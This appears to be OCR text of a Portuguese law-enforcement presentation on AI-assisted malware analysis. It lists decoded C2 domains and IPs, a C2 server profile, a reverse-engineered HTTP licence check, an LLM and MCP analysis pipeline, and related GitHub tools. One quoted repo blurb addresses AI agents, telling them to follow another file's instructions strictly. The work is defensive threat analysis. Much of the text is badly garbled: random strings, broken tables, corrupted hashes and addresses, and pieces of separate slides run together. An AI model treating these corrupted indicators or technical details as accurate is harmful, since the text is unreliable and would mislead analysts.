lghitydbnkavz.cable-modem.org —> 18.209.33.83 1 8x8ed52u JIXNV1pU@toGydUOwQLENFYvSozUKO2HUUTOVbaVZ j8si-cSvHoB jUYqSz1FORIetRKxGOpvHOWxXEXorgULETT3dGZ Twhp6K9ESNPbuSqe1p7LQ
gswzbplrfjgdmiyhonuvtae.cable-modem.org —> 54.165.223.48 http://%s:%d
TGP FE =TT erg) = STED. 20070 2 6x80d610 8VLO3AXS50UPLKMXBE1eWFZIYxatnUIWHE jaxufObMfIsApaGELwmOAUNINg—SWEAYThVgGFXOc8wPShMIUbwsuXnTTAYWZOEZE jFacEx-An_Q
wkxnruhzajymql.cable-modem.org -> 54.91.33.2U6 0
cyTg‘_‘;g;fg;‘f‘;j_, T i R S e ex80d6fc Y83yBRyLdSVspzVNtsQUSEHOTGBYVAHStuwLnFI2hS9IXpALTQVox 1 jBPqgez2NkBIQCqudk-GEKdOFATcqRLPMENL pWCVSYhGEQnFLOwt SeX2A
18.234.42.61 -> AS14618 AMAZON-AES - Amazon.com, Imc., US | 18.232.@.8/1u | <MODO-ONLINE>
31.230.3.154 —> AS14618 AMAZON-AES — Amazon.com, Inc., US | 3u.224.e.8/12 | Y Bx80d7e8 IwF3qSTTkIzg92t8kqY3xAbwbhXLfcRoHSNOBIU2ETWbS6dDKBLL17LRYwYIUCPs jUXSxMwvSsnHEgM@cvCb_S9aMHUpjci-zcTAUyM]jYuwzFEC
.173.236.73 -> AS1U618 AMAZON-AES — Amazon.com, Inc., US | 35.168.0.0/13 Tp-zZUKYXUJ5anwclZLeFIyOLPOqTLlf12UgjdSIM "Modo sempre online" est\xel ativado!
.98.63.204 -> AS1U618 AMAZON-AES - Amazon.com, Inc., US | 52.98.8.8/15 | 5 0x80d928 X6KKNBwQL7CABSr7F70ZhJPiBiDbHVFGvdUGOtQDCUQe32 jUwfwHdoI@1rtRKSHUY jZvS6Vp28wijJICiXPYGZzm_VErrmY5d2T1UQTCdkVr2g
.165.223.U8 —> AS1U618 AMAZON-AES — Amazon.com, Inc., US | 54.164.9.8/15 @
.91.33.246 —> AS14618 AMAZON-AES - Amazon.com, Inc., US | 54.90.8.8/15 | 5 Ox8edald fp2bIqiT7ojVjUDwIpKBA89kqVbGBjCgTpQMNL_tkeggqAYXTJIXzM1GVGEVPdJILKyLVED9alTDZ7bluxbOejetYE6diI3Xj8r_NNFxBNQTKVE_Mg
<MODO-BLOCK>
7 0x80dbee zyric7cRTK8zYTwzUtD7ZwG6v8LiHUFRwnb50hK3VWB9gf8Mvyuon5s jud _GGEdsRULrfUhdMolSHIJfonynWlg-vHrKAhSUoUEKqU2C1hxqPdY
XjORXGUjB9QPxh+1dQF56tYUiI9WiN_gnQtk8yqt M\xelquina com bloqueio de sites ativado!
0x808dcle THqLGkOcfzSWKA2gR6ub9510z9k3_SyBFb9xpAs1HshIdrSIaCNNFZ1ANhS6VbEF1I20U4D3nh-Htc—uy923556-Zj-XiFsQIb_YgdaHTkNCog

x86dd2c zSer810UaaiYzwmpHDaVIxlrSgvlvedCooBMrZ5ZDuiCu8—g5JhBHLIUAINZZRm_TMLRO9mlavoZyAQc3EpYiGpbZErbqOWVxazzBUm2wP jVpPMuy
e2mlUy2-sf1uVRIUkxY <MODO—-CADASTRADO>
10 0x808dell® QKMLekxRehTyRfU6sYZnnaIP6j5nb7AIbIS3pnGddEi9ls3wn5pI0CB36TDOFIBRIKXKgci3wyRSMNYgUDELE2J3tn9fgvvN93SitgLFnA3Kh_B
s—KEEiJb_iezzilqppsZUH9p3_UbK8CdfopOpNh_© M\xelquina marcada como "CADASTRADO"!
11 0xB8edf8e nhuFdSnERGH j 5x6F SoaASXEIOHwWtuBuAx7xwUMSJv jnfEz2Pj7nDL19AkiaaBhiWoGOz cigFyMOmfssSNI9TRWrUoa6xazbWrirQm5C3nQBKOBw
(¢
12 0x80eB6c MpaobCOqE67jg20UVILMACEWHX2d jtRhgM_3nz1lWbzosaUfheQk3xDKqquhlhhuZ9SyfdzSUJU7IYQziRaGD16J3bVel 7qpYsKncKP-wgL—-i0NA
<MODO-GCAUTO>
13 0xB80el58 DDq28gTKnLQdJO@cAUP9CRIBbpLrHpDMXT6qXcSxND5Xge5RdNnux jbLh2ATO-napwooB_BEpvXi6hYkPsDMyAGbfk8vL1DNN_16Yvhpg550-cA
(¢
14 BOx80e2u4 b9s7kullMOvHPE20I01MsPOKPabf1pl2MEOe5YbEIXENY7912U9KSh8BSFmNgm3fGdUdFPSFrind AEL LtUULUKBjn53k_iZYKLZRoFk1NbXgoJhQ
<MODO-GCMANUAL >
15 0x80e330 iHVIDwOBKAXHAetYNZt7QAULVvIINBVYQvzIdzpdlEFe_7QQNIQzFFYb3duUnVZB7miujIwXbHFtGelh2EI_c_10Ec5pqBAOuRuwKgOiYJg9dKbw
(¢
16 0x80ellc ahqtgNEWczhAwu28C82MOkLAXhi-xviw3vOvq5YwwrOyWGTS jE3ifquAiFnkYKGKIWalK51KDsVoEeIXU91hVOdsfwxezQvveGRGZ-Jf _iWekTu
7G0aSy7sNVosb2e8Afs <MODO-REINIC-TRAVADO=>
17 Bx80e530 xucARy2iJHyEkBohoUY1rBgj9HpUJ3CP8CCmUvCLrtuRilz20Vn_lU0ydAUK2KIC2EOGZzWEsFzMB82190bvO6MpWNcpH-ASYGnWthgTefHOFGYX
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7. Scout C2 Infrastructure Profile

7.1 DNS C2 Server: 34.151.244.225

Attribute Detail

Hosting Google Cloud (225.244,151.34.bc. googleusercontent . com)

GeolP Brazil

ASN 396982 GOOGLE-CLOUD-PLATFORM (US)

X.509 Cert h=javadns — self-signed, 183-day, created 2026-05-16

JARM lad14deealsdl4desceeaoneeannaazl7fefec7r73eco7febafdd2de2993c31

Exposed Services (Windows Server):

Port Service Banner/Detail

53/UDP DNS Custom DNS resolver for C2 tunneling

135/TCP MS-RPC Endpoint Mapper

445/TCP SME SMB 3.0.2, signing enabled, GUID ezz428b1-. ..

3389/TCP RDP CredSSP with NLA, seli-signed cu=javadns cert

5985/TCP WinRM Microsoft-HTTPAPI/2.0, Negotiate auth

49664-49678/TCP MS-RPC spoolsv, wininit, services, wevtsve, eic.
Domains:

s igezmgm.com (primary, NameSilo, Cloudflare NS)

* nsl.igezmgm.com, ns2.igezmgm.com (delegation, same IP)
7.2 Web C2 Server: 34.39.164.122
Attribute Detail
Hosting Google Cloud (122.164.39.34.bc. googleusercontent. com)

} else {
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E Canfiauratinan and hrancina nanal

R ey 7, HTTP transports and separate activation component

Application WinINet helper i
rndths, not guaranteed usable character

Address Function path. A concrete operator-selected port
Open Internet/HTTP connection

Subject:
Method: = Build/send request, inspect certificate and status

1

~ - . x484668 Collect response in memory
oéwlsoel This repo
D
0040160C 8x484C00 Related response-to-file path
0040160F recoverec P P
00401612
00401619
00401618 -
00401610 1 = Prll ap on/x-www-form coded . A separate flag controls secure requests. Connect/send/receive timeouts are 60 seconds; the response path requires HTTP 200 and reads chunks of 4,096 bytes.
<

e e e e e e

The context holds host at +@, portat +4, path at +8, flags at . bedy pointer/length at +@: ax14, and response pointer/length at +@x18/+@x1cC . Flag ex1@ selects GET; when clear, the helper selects POST with

The recoy  The request helper obtains the certificate chain through option 105 and reads property 3, the SHA-1 thumbprint. It compares CRC32 of a 20-byte thumbprint with CRC32 of the embedded value at @

4810842aaa51039af44e5F1dfacc712578ab21al
The appli

successfu CRC32 helper @x408165@ uses reflected polynomial @x @ . The comparison is 32-bit, not a direct comparison of all thumbprint bytes. A match anywhere in an inspected chain can satisfy it; it is not limited to the leaf

certificate. The error message is Erro ao verificar c
The exam

messages This implementation is confirmed present. Its actual invocation and concrete settings from the protected license gate remain unresolved. Therefore, no HTTP/HTTPS scheme, port, method, or application of this certificate

b + check is asserted for the recovered panel endpoint. Certificate distribution/OCSP strings are not established application endpoints. request errors, empty HWID, and empty
een este

STA 0K is a recovered
The licen Bundled activation/deactivation

decision + Code around ex B ® constructs a separate activation protocol consistent with VMProtect/Web License Manager conventions. It dynamically resolves WinHTTP and uses GET requests. Its fields and paths

include: 2ference RVA, ciphertext RVA, and byte

Area
Operation Observed strings/fields
Comprt ) o
Online activation ivati php?code=, with code, hwid, hash

Import: Offline activation
and the loop check at @ A1 [/

Panel o Online deactivation
Periodii ~ Offline deactivation 8 , including the terminator. The
Client transport key was derived from candidate descriptors using the known lookup reference, then validated against the count and all entries. Both images yield identical results: 74 ANSI entries and one UTF-16 entry. Bounds, sorted
references, NUL termination, and exact ciphertext round trips pass for all 75.

Separate protected b

Startup Native startup/WinMain landmarks and partial VM transfers Original entry point and a runnable restored image




Proximos passos — Integrando num pipeline

= Dockerizacao dos componentes

= Andlise dindmica avancada - — ﬂé — Q)‘
(== :
Debugger + Ambiente de virtualizacao DA NCP Server DA MCP Plugi oA
Requer plataforma especifica
. q _ .6 -
= Uso de modelos locais [@ MCP e~ B = -

= [ntegracao com ferramentas de

submissao, coleta e relatorio. &
MWDB (Karton) =)
x64dbg MCP Server x64dbg MCP Plugin x64dbg
Misp
= [nterface interativa para prompts
adicionais

https://blog.checkpoint.com/research/cracking-xloader-with-ai-how-generative-models-accelerate-malware-analysis/

Virtual Machine



Proximos passos — Integrando num pipeline

Malware

—_

amostra,
metadados,
artefatos

He
3

A Analista

I interage

LLM
Orquestrador

!

MCP

Protocolo de
Contexto do
Modelo

instrumenta ferramentas via MCP
L

e orienta

LLM instrumenta
o debugger
nas VMs

v

1010
1011

Strings /
Hashes

v
O

YARA

v

v v

T Q b

Desempacotamento

Extragao
delOCs

>

Desofuscagao

Maquinas Virtuais

Windows <~ >

Linux <=1

>
e,
b, &

A 1
"'fj‘jl} Android <€~
v

Relatorio
Analitico

I0Cs, TTPs,
classificagao,
contexto

%ISP

Plataforma de
Compartilhamento
de Ameacas

retroalimenta e enriquece o coletor
10Cs, TTPs, classificagao, contexto




Outras iniciativas

https://github.com/Squiblydoo/Remnux_Reports

H Squiblydoo / Remnux_Reports  Public

<> Code () lIssues 17 Pullrequests () Actions [ Projects @ Security and quality [~ Insights

¥ main ~ F 1Branch O 0 Tags

Q Squiblydoo analysis: PDFXEdit.exe (9b02a370)

[ Reports by hash

B Zhong-Stealer-APT-Q-27
[0 analysis_scripts

[ README.md

(Y analyze-binary.md

README

Q Gotofile

9b913dd - 10 hours ago

analysis: PDFXEdit.exe (9b02a370)

reorganize: move APT-Q-27 Zhong Stealer reports to dedic...
Create monitor_c2_onchain.py

Fix readme

update analyze-binary skill: switch sandbox from Tria.ge to ...

Q Notifications % Fork 2 ¥% Star 13

<> Code ~

0 122 Commits

10 hours ago
3 months ago
4 months ago
4 months ago

2 months ago

About

This repository is for reports
generated by Claude and the Remnux
MCP.

[0 Readme

Activity

13 stars

1 watching

< O B <

2 forks

Report repository

Releases

No releases published



Outras iniciativas

https://github.com/lInl/OGhidra

H lInl / OGhidra Public

<> Code

¥ main ~

@ pre-commit-ci[bot] [pre-commit.ci] pre-commit autoupdate (#45) @

rRE-EE NN SN BN BN BN

OGhidraMCP
benchmark
docs

images

src

tests
env.example

.gitignore

@ Issues

Q Notifications % Fork 31 7 Star 291

18 I Pull requests 4 ® Actions [ Projects @ Security and quality [~ Insights

¥ 7Branches § 0Tags Q. Go tofile

[pre-commit.ci] auto fixes from pre-commit.com hooks

Fix all ruff and shellcheck issues and remove unused code (...

[pre-commit.ci] auto fixes from pre-commit.com hooks
Images

Break up ui.py into seperate class-only python files. (#27)

Fix all ruff and shellcheck issues and remove unused code (...

[pre-commit.ci] auto fixes from pre-commit.com hooks

changing the gitignore

5c2ead? - last week @ 138 Commits

2 months ago
last month
2 months ago
7 months ago
last month
last month
2 months ago

2 months ago

About

OGhidra bridges Large Language
Models (LLMs) via Ollama with the
Ghidra reverse engineering platform,
enabling Al-driven binary analysis
through natural language. Interact
with Ghidra using conversational
queries and automate complex
reverse engineering workflows.

Readme

View license
Code of conduct
Activity

Custom properties

>0 ¢ @ B

291 stars



Outras iniciativas

https://blog.securitybreak.io/malware-reverse-engineering-is-no-longer-a-human-problem-5441e4a0564f

Upload Malware Sample

Upload a sample file for analysis. A 6-stage analysis pipeline will be automatically created.

Choose File spread.exe

spread.exe —125.5 KB

Human-in-the-Loop Review ()

Each stage requires human approval before proceeding
Cancel Upload

Malware Analysis Lab

ASENTS

Lead Agere
Static Asalywr

OSINT Anstynt

Sage & ol Beport

Sage 5 Visealzanen

Seage & YARA Rt

AT -

Stage 3 ORINT & Thveat
Tateprate

. Moot

S2age I Reverie Engeesrng

-

.

* 18 Progrens

* Rrview

QD

Sage 1- Sac Anaiyris

. TR PO LA

-

* Dooe

Stage & Fimal Bepert
Sage % Vibeakzation

Sage & YARA Wate
Devetopment

Seage 3 OAINT & Mvpat
tattigente

Sge I Reverie Eapmeerng

Tage 1- S AN

-

i

-

-



Outras iniciativas

https://github.com/zhaoxuya520/reverse-skill

About

If you are an Al Agent, jump to README_AlL.md and follow the instructions strictly.

When an Al agent (Claude Code, Codex CLI, Cursor, etc.) encounters an APK, a binary, frontend JS encryption, a CTF
challenge, or a pentesting target, this package routes it to the right methodology, checks available tools, and
executes a repeatable workflow instead of guessing commands.

User task d;
- RULES.md

MASTER-ROUTING / master-route.psl (PRIMARY)

case-init / scope.md (auth + network_profile; no target ACT until ready)

4

4

4

Scenario skill -+ tools / MCP / scripts

4

timeline + Evidence-Finding-+Path - report + field-journal

Why this exists:

® Al agents don't know whether to use jadx, apktool, Frida, IDA, or BurpSuite for a given task
* APK, ELF, JS, PCAP, and CTF tasks each need different playbooks
® Tools, MCP servers, and scripts are scattered across machines

® The same mistakes get repeated because experience isn't reused



GOENS|

Obrigado!

peixinho.icp@pf.gov.br
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